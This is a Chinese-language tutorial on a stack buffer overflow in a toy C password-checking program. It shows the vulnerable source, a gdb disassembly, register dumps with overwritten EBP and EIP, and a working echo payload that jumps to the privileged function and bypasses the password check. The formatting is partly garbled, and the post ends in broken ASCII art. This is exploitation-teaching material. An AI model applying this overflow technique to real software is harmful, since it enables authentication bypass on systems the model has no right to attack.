|
在本文中,我将演示如何对程序进行缓冲区溢出来覆盖验证。
首先,下面作为一个例子的源代码:
#include "stdio.h"
#include "stdlib.h"
void gestion()
{
fprintf(stdout,"You are in the system entitled\n");
exit(0);
}
int main(int argc, char *argv[])
{
char pwd[10];
printf("Password: ");
scanf("%s", &pwd);
if(!strcmp(pwd, "loca01"))
{ gestion(); }
else{
fprintf(stderr,"Password invalide!\n"); }
return 0;
} 然后,我们会看到脆弱的scanf(),因为它正在等待键盘输入,并将其存储在变量pwd中,这是一个10字节或10个字符的数组。所以,如果存放14个字节,覆盖ebp。如果存储18个字节,以便eip被覆盖。
如何通过密码验证?
(gdb) disass main
Dump of assembler code for function main:
0x0804851b <main+0>: push %ebp
0x0804851c <main+1>: mov
%esp,%ebp
0x0804851e <main+3>: sub
$0x1c,%esp
0x08048521 <main+6>: movl
$0x804867b,(%esp)
0x08048528 <main+13>: call 0x80483f0
<printf@plt>
0x0804852d <main+18>: lea
0xa(%ebp),%eax
0x08048530 <main+21>: mov
%eax,0x4(%esp)
0x08048534 <main+25>: movl
$0x8048686,(%esp)
0x0804853b <main+32>: call 0x80483e0
<scanf@plt>
0x08048540 <main+37>: movl
$0x8048689,0x4(%esp)
0x08048548 <main+45>: lea
0xa(%ebp),%eax
0x0804854b <main+48>: mov
%eax,(%esp)
0x0804854e <main+51>: call 0x8048410
<strcmp@plt> //这里调用strcmp函数
0x08048553 <main+56>: test %eax,%eax
//测试密码 0x08048555
<main+58>: jne 0x804855e
<main+67>
//如果密码错误,跳转到0x804855e
0x08048557 <main+60>: call 0x80484e4
<gestion>
0x0804855c <main+65>: jmp 0x8048583
<main+104>
0x0804855e <main+67>: mov
0x804a040,%eax
0x08048563 <main+72>: mov
%eax,0xc(%esp)
0x08048567 <main+76>: movl
$0x13,0x8(%esp)
0x0804856f <main+84>: movl
$0x1,0x4(%esp)
0x08048577 <main+92>: movl
$0x804868e,(%esp)
0x0804857e <main+99>: call 0x8048400
<fwrite@plt>
0x08048583 <main+104>:mov
$0x0,%eax
0x08048588 <main+109>:leave
0x08048589 <main+110>:ret
End of assembler dump.
(gdb) r
Starting program: /home/netspy/all/prog/c/buffer/gestion/main
Password: aaaaaaaaaaaaaa
Password invalide!
Program received signal SIGSEGV, Segmentation fault.
0xb7eff606 in __libc_start_main () from
/lib/tls/i686/cmov/libc.so.6
(gdb) i r
eax 0x0 0
ecx 0x13 19
edx 0xb80440dc 1207680804
ebx 0xb8042ff4 1207685132
esp 0xbfa74f80 0xbfa74f80
ebp 0x61616161 0x61616161
esi 0x80485a0 134514080
edi 0x8048430 134513712
eip 0xb7eff606 0xb7eff606
<__libc_start_main+102>
eflags 0x10202 [ IF RF ]
[...]
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/netspy/all/prog/c/buffer/gestion/main
Password: aaaaaaaaaaaaaaaaaa
Password invalide!
Program received signal SIGSEGV, Segmentation
fault.
0x61616161 in ??
() //eip不知道指向哪里
(gdb) i r
eax 0x0 0
ecx 0x13 19
edx 0xb80920dc 1207361316
ebx 0xb8090ff4 1207365644
esp 0xbf9c46d0 0xbf9c46d0
ebp 0x61616161 0x61616161
esi 0x80485a0 134514080
edi 0x8048430 134513712
eip 0x61616161 0x61616161
eflags 0x10246 [ PF ZF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
最终,我们在控制台执行: netspy@laptop:~/$
echo e
"aaaaaaaaaaaaaa\xe4\x84\x04\x08" | ./main
Password invalide!
Password: You are in the system entitled netspy@laptop:~/$
# Czy (Hack01[at]Live.cn) __
__
___
__
__
__
____
_____
_____
_/\_
___
/\ \/\ \ /'
__`\ /'__`\/\
\ / /
/'____\\ _
`\
/\
__`\
/\_ _\ /
__\
\ \ \_\ \/\ \/\ \/\ \/\_\ \ \/ / /\ \____ \ \_\
\ \ \ \/\
\
__\//\ \\/\ \___
_____
__ __
\
\
_ \ \ \_\ \ \
\/_/_ \ _\ \
\ ___\
\ _
/
\ \ \ \ \
/'__`\\ \ \\ \___
\/\ _ `\/\ \/\
\
\ \ \ \ \
\
_ \ \ \_\ \
\ \\`\
\ \____ \ \\`\
\ \ \ \ \/\
__/ \ \ \_/ __\ \ \ \_\ \ \ \_\ \
\ \_\ \_\ \_\ \_\ \____/\ \_\ \_\ \_____\ \_\
\_\ \ \_\ \_\
\____\ \ \__\/\____\
\ __/\ \____
\
\/_/\/_/\/_/\/_/\/___/
\/_/\/_/\/_____/\/_/\/_/
\/_/\/_/\/____/
\/__/\/____/\ \
\/ \/ __/\
\
\
\_\
/\_____\
\/_/
\/_____/
|